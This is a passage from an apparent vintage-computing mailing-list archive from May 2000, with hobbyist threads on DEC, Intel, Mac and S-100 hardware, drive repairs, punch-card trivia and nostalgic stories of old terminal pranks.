<3928FC9F.F5DABF4D@arrl.net> Dug through some docs for the System310AP's (iSBC286s) that run one of our sims, only to find that the EX (not CX) was the optional board for these. Don't have the manual but found the default jumper setups for the EX, which probably would not be of help to you. You may want to try the iRMX user group for help. Been a while since I logged on there. They are at www.iRUG.com Nick Eric Smith wrote: > I recently was given some Intel iSBC-012CX memory cards. These are 512K > > > Anyhow, I'm looking for a manual for these boards, or at least information > on jumper settings. > > > Thanks! > Eric From foxvideo at wincom.net Mon May 22 05:48:54 2000 From: foxvideo at wincom.net (Charles E. Fox) Date: Sun Feb 27 18:51:50 2005 Subject: Mac IIcx video connection Message-ID: <3.0.5.32.20000522064854.007bc7a0@mail.wincom.net> I have just been given the remains of a Mac IIcx, and would like to determine its condition without spending too much money. Does anyone know the pinouts of the 15 pin video connector? Thanks Charlie Fox Charles E. Fox Chas E. Fox Video Productions 793 Argyle Rd. Windsor N8Y 3J8 Ont. Canada email foxvideo@wincom.net Check out "The Old Walkerville Virtual Museum" at http://www.skyboom.com/foxvideo and Camcorder Kindergarten at http://www.chasfoxvideo.com From djg at drs-esg.com Mon May 22 06:55:23 2000 From: djg at drs-esg.com (David Gesswein) Date: Sun Feb 27 18:51:50 2005 Subject: More PDP-8/L teletype stuff Message-ID: <200005221155.HAA07406@drs-esg.com> From: ard@p850ug1.demon.co.uk (Tony Duell) Subject: Re: PDP-8/L teletype connection > David Gesswein >> It took me a while to remember where they stuck the schematic for the W076 >> but I found it. If you get the 8/I maintenance manual from >> http://highgate.comm.sfu.ca/pdp8 volume I Figure 5-7 pg 5-16 shows the >> schematic for the W076 and the connections to the teletype. >> I see that the page was scribbled on, the numbers from top to bottom are >> 4 6 3 relay- 7 relay+. >Those numbers sound like the barrier strip terminal numbers for a (real) >ASR33 that's been converted to full-duplex. Am I anywhere close? That is in copper on the W076 board where the cable comes off the board to connect to the teletype. It does look like that is the teletype connection terminal numbers. >Be careful if you're working on an ASR33, becase IIRC the first 2 >terminals (nearest the side of the case) of that barrier strip carry live >mains (!). Another of those design decisions which you wonder about. >If necessary I can look up the ASR33 connections (I have the schematics >somewhere) and tell you what the terminals are. But remember that the >ASR33 transmit loop is non-polarised (it's a simple mechanical switch >network so it doesn't matter which terminal is +ve) but most electronic >current loop interfaces are polarised and you have to get the +ve and -ve >leads the right way round. The ASR33 manual can't help with this. > The ASR33 manuals are also on highgate with the schematics in print set. Those were a bunch of loose pages in several different sizes so I may of not had all of them. ****From: Ethan Dicks Subject: Re: PDP 8/L console - --- Lawrence LeMay wrote: > Does anyone have that information on the W076? >I have the schematic in the PDP-8/L reference schematics. Isn't there a >copy of these on Highgate? > Highgate only has 8/I schematics, similar (I haven't found a copy of the 8/L schematics yet). I did get a copy of the module location chart from Dave Mahoney which is on highgate. David Gesswein From SUPRDAVE at aol.com Mon May 22 07:05:07 2000 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:51:50 2005 Subject: Mac IIcx video connection Message-ID: In a message dated 5/22/00 6:55:00 AM Eastern Daylight Time, foxvideo@wincom.net writes: > I have just been given the remains of a Mac IIcx, and would like to > determine its condition without spending too much money. Does anyone know > the pinouts of the 15 pin video connector? > > Thanks > > Charlie Fox well, since the IIcx has no builtin video, the pinouts will depend on what nubus video card you will use. DB Young ICQ: 29427634 hurry, hurry, step right up! see the computers you used as a kid! http://members.aol.com/suprdave/classiccmp/museum.htm From foxvideo at wincom.net Mon May 22 08:52:34 2000 From: foxvideo at wincom.net (Charles E. Fox) Date: Sun Feb 27 18:51:50 2005 Subject: Mac IIcx video connection In-Reply-To: Message-ID: <3.0.5.32.20000522095234.007ae840@mail.wincom.net> At 08:05 AM 5/22/2000 EDT, you wrote: >In a message dated 5/22/00 6:55:00 AM Eastern Daylight Time, >foxvideo@wincom.net writes: > >> I have just been given the remains of a Mac IIcx, and would like to >> determine its condition without spending too much money. Does anyone know >> the pinouts of the 15 pin video connector? >> >> Thanks >> >> Charlie Fox > >well, since the IIcx has no builtin video, the pinouts will depend on what >nubus video card you will use. > >DB Young ICQ: 29427634 > >hurry, hurry, step right up! see the computers you used as a kid! >http://members.aol.com/suprdave/classiccmp/museum.htm > > The video card ic an Apple Computer Inc. 820-0198-A7 Mackintosh II Video Card. It was packed separately from the computer, and condition is unknown. The story here is that a couple of friends closed up their repair business, and yesterday contributed a van load of computers and other odds and ends to my collection. I have had no Mac experience, the only other one in the collection is a Mac +, so don't really know what I am doing. I would like to make an adapter to go from the Mac 15 pin video,(size of a game port) to a standard VGA monitor. Thanks Charlie Fox Charles E. Fox Chas E. Fox Video Productions 793 Argyle Rd. Windsor N8Y 3J8 Ont. Canada email foxvideo@wincom.net Check out "The Old Walkerville Virtual Museum" at http://www.skyboom.com/foxvideo and Camcorder Kindergarten at http://www.chasfoxvideo.com From ethan_dicks at yahoo.com Mon May 22 09:40:11 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:51:50 2005 Subject: More PDP-8/L teletype stuff Message-ID: <20000522144011.22054.qmail@web613.mail.yahoo.com> --- David Gesswein wrote: > Highgate only has 8/I schematics, similar (I haven't found a copy of the > 8/L schematics yet). I did get a copy of the module location chart > from Dave Mahoney which is on highgate. I have a B-sized drawing set, "DEC-8/L-HR2A-D, PDP-8/L MAINTENANCE MANUAL Volume II; 3rd printing - March 1972" I would have already scanned them, but my flatbed is out on loan. I'll increase the priority of getting it back and see about scanning it for Highgate. If anyone else has that document, feel free to beat me to it. -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From pechter at pechter.dyndns.org Mon May 22 10:02:42 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:50 2005 Subject: Wanted: DEC MSCP 19" rackmount hard drive In-Reply-To: from Terry Kennedy at "May 22, 2000 10:05:32 am" Message-ID: <200005221502.LAA04668@bg-tc-ppp270.monmouth.com> > Johnny Billquist writes: > > I just love the RP07 for finesse. Not that sure about reliability, but it > > sure looks impressive enough, with that front panel, and everything... :-) > > I had an RP07 once. Wonderful drive - Memorex's answer to the IBM 3370/ > 3380. But the spindle drive belt failed and in the 2 days it took to get > a new one, the heads stuck to the platters and that was the end of the > drive... > > Terry Kennedy http://www.tmk.com > terry@tmk.com Jersey City, NJ USA The drive had a large number of problems early which led to its being less than popular. One was sticktion and a failure of the heads to retract on power fail. The fix was a battery pack and adjustments to the HDA assembly. IIRC The other was cost, maintenance difficulties (large heavy hda which wasn't available in large quantities at DEC... which lead to maintenance downtime.) The RA81's seemed to undercut the device in price and took the market from it in sites with HSC's and even some UDS50's got jacked on to 11/70's. I wonder what would've happened if DEC had an HSC-CI70 that interfaced with the Cache or Massbus bus systems on the 11/70's. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From jbmcb at hotmail.com Mon May 22 10:50:32 2000 From: jbmcb at hotmail.com (Jason McBrien) Date: Sun Feb 27 18:51:50 2005 Subject: Identification request - QuadexQ5000/SMS/Compugraphics/DEC ??? should I save it? References: <000d01bfc342$79484320$0101a8c0@jay> Message-ID: <20000522154540.43949.qmail@hotmail.com> I snagged a few of these from a design firm that was tossing them. They are dedicated page layout minis. Quadex was bought by CompuGraphic, which was in turn bought, I think, by 3M. Thats why there are Quadex and CompuGraphic parts on the same system. The Quadex was the most popular page layout setup in the late seventies to early eighties. The CPU box alone is pretty much useless, they were designed to plug into a "Desktop" terminal controller, about the size of a modern full size tower case laying sideways. The terminal controller ran a more or less standard terminal with special page layout keys (The keyboards are big metal jobbers) The controller also ran a special preview monitor and control keypad for viewing pages as WYSIWIG as you could get back then. I'm not sure what board had the disk controller, but mine came with a 100MB 8" Winchester drive, a DC20-style tape drive, and a pair of 8" disk drives. I got a portion of the disk set, each 8" disk contains ONE font, in one face, in one style, in one point size. I've seen the typesetter these things are designed to run, its a MONSTER. about the size of the new beetle, you have to completly disassemble it to get it through the door. The company I saw that was running it didn't even bother loosing the typesetter, they just converted it into a nice conference table. I could not find ANY information on these things on the web. They were for a niche market and were replaced ASAP with Macs. I'll poke around my collection and see what else I can figure out. ----- Original Message ----- From: "Jay West" To: Sent: Sunday, May 21, 2000 12:34 PM Subject: Identification request - QuadexQ5000/SMS/Compugraphics/DEC ??? should I save it? > A friend called me about a cpu cabinet sitting next to a dumpster. I would > like some background and identification on this system if anyone knows. And > most importantly - there's much more that I left behind - should I go get it > (as in anyone here want some of it)? > > At first blush I didn't think it would be interesting, but it looks like an > unibus system; it also had some M8043 and M8017 cards in it so it must be > something DECish? > > Here's very sketchy details... > > Quadex Q5000 labeled rack and cpu enclosure > Various tags inside the cabinet mention Quadex or Scientific Micro Systems > or CompuGraphics > A very deep rackmount unit with a QIC tape slot in the front > A very deep rackmount unit with two 8" floppy drives - model A02028-501 "030 > Storage Module" > > The backplane looks DECish to me - similar to what I've seen in a 11/44. > Here's some of the cards that are in it. > Three M8017 - I know what these are :) > One M8043 - I know what this is too :) > Four boards #20033 - each has a tiny 4 pin connector and a tiny coax type > connector (much smaller than 10b2). Main chip is N8X305N > one #70201 which obviously went to external devices - two 50 pin headers > which end in same connector 11/23 uses to go to external RD52's > Sheild/bus terminator board - #203763 > What appears to be a memory board and has a 40 pin connector on it - #75063 > One board has a ton of different size ribbon cables coming off it - label > says "FWD0106" > Plessey Peripheral Systems board with 50-pin berg connector #703755 > Small board #20041 with 14 pin berg coming off the side > 2 card cpu set - #20038 and #20039, about 5 AM2901CPO chips, and a lot of > N82S191N chips that say things like "instruction decoder" > > The SLU cards I can use in my 11/23's and 11/73's. I noticed that the back > of the cpu cabinet someone had labelled the ports - some said terminal and > some said "typesetter". Any idea what these cards are and if they're usable > in other dec systems? I left the QIC tape drive behind and they said there > was more where that rack came from - anyone interested or is this junk? > Trash pickup is on wednesday so let me know before then :) > > Jay West > > > > > > > From RCini at congressfinancial.com Mon May 22 11:05:55 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:51:50 2005 Subject: Altair parts substitutions Message-ID: <497A9E0467D2D2119B760090271EB8E50E9148@MAIL10> It's that time of year again, when I think about designing an Altair/IMSAI work-alike. Now that I have the ability to generate schematics/layouts, I may actually try it. Anyway, some parts have become scarce, so I would have to use substitutes. For example, Jameco no longer carries the 8T97 buffer/driver. As I recall the 8T97 is an LS373 without the inverter on the gate *and* is faster and has a higher drive current. I've heard that the MC6887 is a sub, but I can't find a datasheet on it. The 8101 dual-port 256bx4 RAM is no longer available, but Jameco has a 5101 which looks like a likely sub. I would forego this type for a larger SRAM, but I guess that it too would have to be dual-ported. I need to look at the schematics for an S100 memory board. Someone on-list did a design for his own clone, but I can't remember who it is. I'm sure that it can be done cheaper than Tom Fischer's IMSAI-2 though. Rich From jimw at agora.rdrop.com Mon May 22 11:21:57 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:51:50 2005 Subject: Altair parts substitutions In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E9148@MAIL10> Message-ID: On Mon, 22 May 2000, Cini, Richard wrote: > It's that time of year again, when I think about designing an Altair/IMSAI > work-alike. Now that I have the ability to generate schematics/layouts, I > may actually try it. > > Anyway, some parts have become scarce, so I would have to use substitutes. > For example, Jameco no longer carries the 8T97 buffer/driver. As I recall > the 8T97 is an LS373 without the inverter on the gate *and* is faster and > has a higher drive current. I've heard that the MC6887 is a sub, but I can't > find a datasheet on it. Ummm... has the T.I. 74LS367 gone extinct? We always used that as an 'exact match' sub. Same for the 74LS368 as a EM sub for the 8T98... Many (most?) S-100 boards/kits/etc. used these parts interchangeably. -jim --- jimw@computergarage.org || jimw@agora.rdrop.com The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From sethm at loomcom.com Mon May 22 12:35:48 2000 From: sethm at loomcom.com (sjm) Date: Sun Feb 27 18:51:50 2005 Subject: Altair parts substitutions In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E9148@MAIL10>; from RCini@congressfinancial.com on Mon, May 22, 2000 at 12:05:55PM -0400 References: <497A9E0467D2D2119B760090271EB8E50E9148@MAIL10> Message-ID: <20000522103548.A13941@loomcom.com> On Mon, May 22, 2000 at 12:05:55PM -0400, Cini, Richard wrote: > > Someone on-list did a design for his own clone, but I can't remember who it > is. I'm sure that it can be done cheaper than Tom Fischer's IMSAI-2 though. I want to say it was Tim Shoppa's "TIMSAI", a few years ago. Am I right Tim? I seem to remember that his projected price was going to be pretty close to Fischer-Freitas's cost for the IMSAI Series 2. It's very expensive to do small runs, and do them well. > Rich -Seth -- "As a general rule, the man in the habit of murdering | Seth Morabito bookbinders, though he performs a distinct service | sethm@loomcom.com to society, only wastes his own time and takes no | personal advantage." -- Kenneth Grahame (1898) | Perth ==> * From CordaAJ at nswc.navy.mil Mon May 22 12:36:23 2000 From: CordaAJ at nswc.navy.mil (Corda Albert J DLVA) Date: Sun Feb 27 18:51:50 2005 Subject: rescued a beehive! Message-ID: <7B4C28C84831D211BFA200805F9F34561A8E59@nswcdlvaex04.nswc.navy.mil> > -----Original Message----- > From: Frank McConnell [mailto:fmc@reanimators.org] > Sent: Friday, May 19, 2000 4:13 PM > To: classiccmp@classiccmp.org > Subject: Re: rescued a beehive! > > > allisonp@world.std.com wrote: > > I know, I worked for Haziltine and was part of > manufacturing engineering > > for terminals then. > > Hmm. This might have been before your time, but I might as well ask: > got any stories to tell about the Hazeltine 2000? Back in the 70's when I was in college (WPI), our computer center used a bunch of HZ2000s at the center itself. (our system at the time was a KA based PDP-10). An oddity of the TOPS10 monitor (or at least the version that we were running) was that it let people send messages between terminals even if no one was logged in. One of my friends figured out that if you opened an unassigned terminal in the computer center (usually after hours)from a remote campus site, you could dump a series of commands (usually including "send" commands :-) to the HZ2000, terminated with a "send screen" command sequence. This let you send messages that looked as if they originated from the center to another remote terminal.(Heck, we were just college kids, and it was an innocuous bug. Boy, I miss those days :-). -al- > > I ran across a few of them in the early 1980s, being used as 1200 bps > terminals to a Univac 1108. 74-column green-screens in yellow-painted > metal boxes. Very funky, even then. > > -Frank McConnell > > From lemay at cs.umn.edu Mon May 22 13:01:40 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:50 2005 Subject: More PDP-8/L teletype stuff In-Reply-To: <20000522144011.22054.qmail@web613.mail.yahoo.com> from Ethan Dicks at "May 22, 2000 07:40:11 am" Message-ID: <200005221801.NAA03212@caesar.cs.umn.edu> > --- David Gesswein wrote: > > Highgate only has 8/I schematics, similar (I haven't found a copy of the > > 8/L schematics yet). I did get a copy of the module location chart > > from Dave Mahoney which is on highgate. > > I have a B-sized drawing set, "DEC-8/L-HR2A-D, PDP-8/L MAINTENANCE MANUAL > Volume II; 3rd printing - March 1972" I would have already scanned them, > but my flatbed is out on loan. I'll increase the priority of getting it > back and see about scanning it for Highgate. If anyone else has that document, > feel free to beat me to it. > > -ethan AHA! I didnt realize that Volume II was just the printsets. then perhaps I have the complete documentation set after all. I plan to scan this all in sometime. I just picked up a B size scanner a few weeks ago. Who knows, if I get really bored I might just scan in a few inches of size B VAX 11/780 printsets. -Lawrence LeMay From lemay at cs.umn.edu Mon May 22 13:04:41 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:50 2005 Subject: PDP 8/L console In-Reply-To: <20000522033909.3335.qmail@web615.mail.yahoo.com> from Ethan Dicks at "May 21, 2000 08:39:09 pm" Message-ID: <200005221804.NAA03832@caesar.cs.umn.edu> > > --- Lawrence LeMay wrote: > > Does anyone have that information on the W076? > > I have the schematic in the PDP-8/L reference schematics. Isn't there a > copy of these on Highgate? I didnt see it in my copy of the 8/L schematics. Whats the name of the sheet its on? -Lawrence LeMay From foo at siconic.com Mon May 22 12:38:23 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:50 2005 Subject: rescued a beehive! In-Reply-To: <7B4C28C84831D211BFA200805F9F34561A8E59@nswcdlvaex04.nswc.navy.mil> Message-ID: On Mon, 22 May 2000, Corda Albert J DLVA wrote: > Back in the 70's when I was in college (WPI), our computer center used > a bunch of HZ2000s at the center itself. (our system at the time was a > KA based PDP-10). An oddity of the TOPS10 monitor (or at least the > version that we were running) was that it let people send messages > between terminals even if no one was logged in. One of my friends > figured out that if you opened an unassigned terminal in the computer > center (usually after hours)from a remote campus site, you could > dump a series of commands (usually including "send" commands :-) to > the HZ2000, terminated with a "send screen" command sequence. > This let you send messages that looked as if they originated from > the center to another remote terminal.(Heck, we were just college > kids, and it was an innocuous bug. Boy, I miss those days :-). I remember way back in 1990 one of my friends found the codes that allowed one to effectively "remotely control" the Wyse 50 terminals in our HP-UX lab. We had a lot of fun creating "terminal chains" where we would have one terminal, controlling another terminal, controlling another terminal, which was logged in to the server. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From mmcfadden at cmh.edu Mon May 22 13:48:06 2000 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 18:51:50 2005 Subject: OT: Show how old you are with printer/punch card control codes. Message-ID: Punch card trivia Any character in column 6 made this card a continuation of the previous card. This only applies to Fortran program source cards not data cards. Also don't triple punch any columns, the card reader with usually produce a check error I don't remember the drum card programming codes, you could skip columns, force numeric, automatically insert zeros and periods. Line printer trivia Many printer control codes were very useful when trying to print pictures on the back side of green-bar. Output on line printers + in column 1 don't start a new line 0 in column 1 double space 1 in column 1 form feed We used to turn over the paper and attempt to print "pictures" after hours. Somewhere I still have a 9-track tape from 1975 that has a "beautiful" woman on it. I heard that IBM sequentially printed Christmas banners at a trade show by using 3 printers each with a different color ribbon, Red, Green, Black, and feeding the paper continuously through each printer in turn. Nostalgia or is it Altzhimers Mike From transit at lerctr.org Mon May 22 14:07:10 2000 From: transit at lerctr.org (Charles P. Hobbs (SoCalTip)) Date: Sun Feb 27 18:51:50 2005 Subject: rescued a beehive! In-Reply-To: Message-ID: On Mon, 22 May 2000, Vintage Computer GAWD! wrote: > I remember way back in 1990 one of my friends found the codes that allowed > one to effectively "remotely control" the Wyse 50 terminals in our HP-UX > lab. We had a lot of fun creating "terminal chains" where we would have > one terminal, controlling another terminal, controlling another terminal, > which was logged in to the server. Hmm, in our computer lab (1983-1987), we had to be content with e-mailing a million control-G's to each other... From emu at ecubics.com Mon May 22 14:18:33 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:51:50 2005 Subject: Semi-OT: DECstation/TZ30 question References: Semi-OT: DECstation/TZ30 question (Zane H. Healy) Message-ID: <02f801bfc422$86b82350$5d01a8c0@p2350> ----- Original Message ----- From: Zane H. Healy To: Sent: Sunday, May 21, 2000 19:15 Subject: Re: Semi-OT: DECstation/TZ30 question > I know it's fussy on PC SCSI controllers, but I expected it to work on a > DECstation since some of the older ones came with TZ30's. I'm suspecting > the 5000/133 is too new of a model to support it (sort of like trying to > use a RRD40 (think that's the right designation for the external SCSI > CD-ROM with the wierd caddies) on a Alpha (though the Alpha will recognize > it, the software won't allow it). I guess you're doing something wrong there. That's exactly the way i made my 2.11BSD tapes a year ago. A TZ30 on a DecStation 5000/133 running NetBSD. No problems. cheers, emanuel From healyzh at aracnet.com Mon May 22 14:28:57 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:50 2005 Subject: Semi-OT: DECstation/TZ30 question In-Reply-To: <02f801bfc422$86b82350$5d01a8c0@p2350> References: Semi-OT: DECstation/TZ30 question (Zane H. Healy) Message-ID: emanuel stiebler wrote: >I guess you're doing something wrong there. That's exactly the way i made >>my 2.11BSD tapes a year ago. A TZ30 on a DecStation 5000/133 running >>NetBSD. > >No problems. Sounds like maybe I should find some time to get NetBSD on the DECstation then. Though I still would have thought it would recognize the tapedrive from the monitor like it did the RZ25's. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From mikeford at socal.rr.com Mon May 22 14:44:31 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:50 2005 Subject: rescued a beehive! In-Reply-To: References: Message-ID: >On Mon, 22 May 2000, Vintage Computer GAWD! wrote: > >> I remember way back in 1990 one of my friends found the codes that allowed >> one to effectively "remotely control" the Wyse 50 terminals in our HP-UX >> lab. We had a lot of fun creating "terminal chains" where we would have >> one terminal, controlling another terminal, controlling another terminal, >> which was logged in to the server. > >Hmm, in our computer lab (1983-1987), we had to be content with e-mailing >a million control-G's to each other... File this under simple minded, but "our" little mischief was to send messages to another terminal, with a series of cursor moves at the end so that the message sender text was overwritten to make it look like the message was "official". Unfortunately one professor used a teletype which ignored the vt100 cursor stuff. Nobody got into any trouble, but we did learn to watch out for his sessions. From lemay at cs.umn.edu Mon May 22 15:03:52 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:50 2005 Subject: OT: Show how old you are with printer/punch card control codes. In-Reply-To: from "McFadden, Mike" at "May 22, 2000 01:48:06 pm" Message-ID: <200005222003.PAA14218@caesar.cs.umn.edu> > We used to turn over the paper and attempt to print "pictures" after hours. > Somewhere I still have a 9-track tape from 1975 that has a "beautiful" woman > on it. I heard that IBM sequentially printed Christmas banners at a trade > show by using 3 printers each with a different color ribbon, Red, Green, > Black, and feeding the paper continuously through each printer in turn. The last time I put those ASCII pictures up on a FTP site, our security guy made me take em down or edit out the nude ones from the RTTY days... Apparently someone found em, and started spreading the word, and the activity popped up on his security monitoring software, so he checked why so many downloads were occuring from my Staff FTP account ;) ;) -Lawrence LeMay From emu at ecubics.com Mon May 22 15:15:51 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:51:50 2005 Subject: Semi-OT: DECstation/TZ30 question References: Semi-OT: DECstation/TZ30 question (Zane H.Healy) Message-ID: <036b01bfc42a$987506a0$5d01a8c0@p2350> ----- Original Message ----- From: Zane H. Healy To: Sent: Monday, May 22, 2000 13:28 Subject: Re: Semi-OT: DECstation/TZ30 question > emanuel stiebler wrote: > >I guess you're doing something wrong there. That's exactly the way i made > >>my 2.11BSD tapes a year ago. A TZ30 on a DecStation 5000/133 running > >>NetBSD. > > > >No problems. > > Sounds like maybe I should find some time to get NetBSD on the DECstation > then. Though I still would have thought it would recognize the tapedrive > from the monitor like it did the RZ25's. I get with "cnfg 3" --------------------------------------------------- DEV PID VID REV SCSI DEV ===== ================== ========== ====== ======== rz0 DSP3105S DEC T384 DIR tz5 SEQ cheers, emanuel From MCONLIN at danielind.com Mon May 22 15:23:45 2000 From: MCONLIN at danielind.com (Michael Conlin) Date: Sun Feb 27 18:51:50 2005 Subject: Atari Computers Message-ID: <30724FF712DFD2119E6200104B244892013045CB@mail1> I have a couple of Atari 800XL's new, in the box. Can anyone direct me to anyone that may be interested? Mike Conlin From jfoust at threedee.com Mon May 22 15:25:37 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:51:50 2005 Subject: OT: Show how old you are with printer/punch card control codes. In-Reply-To: Message-ID: <4.3.0.20000522152433.0207cad0@pc> At 01:48 PM 5/22/00 -0500, McFadden, Mike wrote: >We used to turn over the paper and attempt to print "pictures" after hours. >Somewhere I still have a 9-track tape from 1975 that has a "beautiful" woman >on it. I heard that IBM sequentially printed Christmas banners at a trade >show by using 3 printers each with a different color ribbon, Red, Green, >Black, and feeding the paper continuously through each printer in turn. See http://www.threedee.com/jcm/aaa/index.html . - John From ard at p850ug1.demon.co.uk Mon May 22 12:53:51 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:50 2005 Subject: Update 2: TRS-80 Model 1 PSU (and monitor question) In-Reply-To: <007001bfc38d$9f4668e0$0201640a@colossus> from "Earl Evans" at May 21, 0 06:32:41 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3792 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000522/d0fd9d6b/attachment.ksh From ard at p850ug1.demon.co.uk Mon May 22 12:59:27 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:50 2005 Subject: I need to make a cable In-Reply-To: <004c01bfc390$47392ea0$48a1b2d1@Smith.earthlink.net> from "Wayne M. Smith" at May 21, 0 06:51:37 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1881 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000522/d6031dcc/attachment.ksh From ard at p850ug1.demon.co.uk Mon May 22 14:07:04 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:50 2005 Subject: Altair parts substitutions In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E9148@MAIL10> from "Cini, Richard" at May 22, 0 12:05:55 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1222 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000522/7d2e68ed/attachment.ksh From healyzh at aracnet.com Mon May 22 15:45:59 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:51:50 2005 Subject: Semi-OT: DECstation/TZ30 question In-Reply-To: <036b01bfc42a$987506a0$5d01a8c0@p2350> from "emanuel stiebler" at May 22, 2000 02:15:51 PM Message-ID: <200005222045.NAA08629@shell1.aracnet.com> > I get with "cnfg 3" > > --------------------------------------------------- > DEV PID VID REV SCSI DEV > ===== ================== ========== ====== ======== > rz0 DSP3105S DEC T384 DIR > tz5 SEQ > > cheers, > emanuel Thanks, looks like I've got some sort of problem then. Blast! Zane From foo at siconic.com Mon May 22 14:56:21 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:50 2005 Subject: OT: Show how old you are with printer/punch card control codes. In-Reply-To: <200005222003.PAA14218@caesar.cs.umn.edu> Message-ID: On Mon, 22 May 2000, Lawrence LeMay wrote: > The last time I put those ASCII pictures up on a FTP site, our security > guy made me take em down or edit out the nude ones from the RTTY > days... Apparently someone found em, and started spreading the word, and the > activity popped up on his security monitoring software, so he checked why > so many downloads were occuring from my Staff FTP account ;) ;) Here's a great site entitled "The History of ASCII (Text) Art" http://cgi1.geocities.com/SoHo/7373/history.htm Lawrence, if you still have your archive of ASCII art online I'd like to know about it. Also, if there are any other archives on the web that anyone knows about please post the URLs. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From mikeford at socal.rr.com Mon May 22 16:11:44 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:50 2005 Subject: Vancouver, Cal's Computer Warehouse? In-Reply-To: References: <200004302246.RAA05679@opal.tseinc.com> Message-ID: Anybody up in Vancouver familiar with this place? They have a service manual for my NEC Silentwriter 2 model 90 on eBay right now, but I am also curious about them in general. http://www.goseecal.com/ Cal's Computer Warehouse Inc. 3083 Grandview Hwy. Vancouver, B.C., V5M 2E4 Canada Tel: 604-437-5551 Fax: 604-437-5552 From lemay at cs.umn.edu Mon May 22 16:34:02 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:50 2005 Subject: OT: Show how old you are with printer/punch card control codes. In-Reply-To: <4.3.0.20000522152433.0207cad0@pc> from John Foust at "May 22, 2000 03:25:37 pm" Message-ID: <200005222134.QAA14616@caesar.cs.umn.edu> > At 01:48 PM 5/22/00 -0500, McFadden, Mike wrote: > >We used to turn over the paper and attempt to print "pictures" after hours. > >Somewhere I still have a 9-track tape from 1975 that has a "beautiful" woman > >on it. I heard that IBM sequentially printed Christmas banners at a trade > >show by using 3 printers each with a different color ribbon, Red, Green, > >Black, and feeding the paper continuously through each printer in turn. > > See http://www.threedee.com/jcm/aaa/index.html . > > - John > Yes, but you dont have the actual ASCII text files available for download from your web pages... -Lawrence LeMay From emu at ecubics.com Mon May 22 17:14:35 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:51:50 2005 Subject: Semi-OT: DECstation/TZ30 question References: <200005222045.NAA08629@shell1.aracnet.com> Message-ID: <040201bfc43b$1de73730$5d01a8c0@p2350> From: > > DEV PID VID REV SCSI DEV > > ===== ================== ========== ====== ======== > > rz0 DSP3105S DEC T384 DIR > > tz5 SEQ > Thanks, looks like I've got some sort of problem then. Blast! If you want, i could send you one of the 2.11BSD tapes. cheers, emanuel From healyzh at aracnet.com Mon May 22 17:39:48 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:51:50 2005 Subject: Semi-OT: DECstation/TZ30 question In-Reply-To: <040201bfc43b$1de73730$5d01a8c0@p2350> from "emanuel stiebler" at May 22, 2000 04:14:35 PM Message-ID: <200005222239.PAA26095@shell1.aracnet.com> > > From: > > > > > DEV PID VID REV SCSI DEV > > > ===== ================== ========== ====== ======== > > > rz0 DSP3105S DEC T384 DIR > > > tz5 SEQ > > > Thanks, looks like I've got some sort of problem then. Blast! > > If you want, i could send you one of the 2.11BSD tapes. > > cheers, > emanuel > > > Actually I'm stuborn enough I'd like to manage it myself, as that's part of how I justify all this equipment to myself :^) However, if I continue to fail I'll keep the offer in mind. Zane From lemay at cs.umn.edu Mon May 22 17:41:52 2000 From: lemay at cs.umn.edu 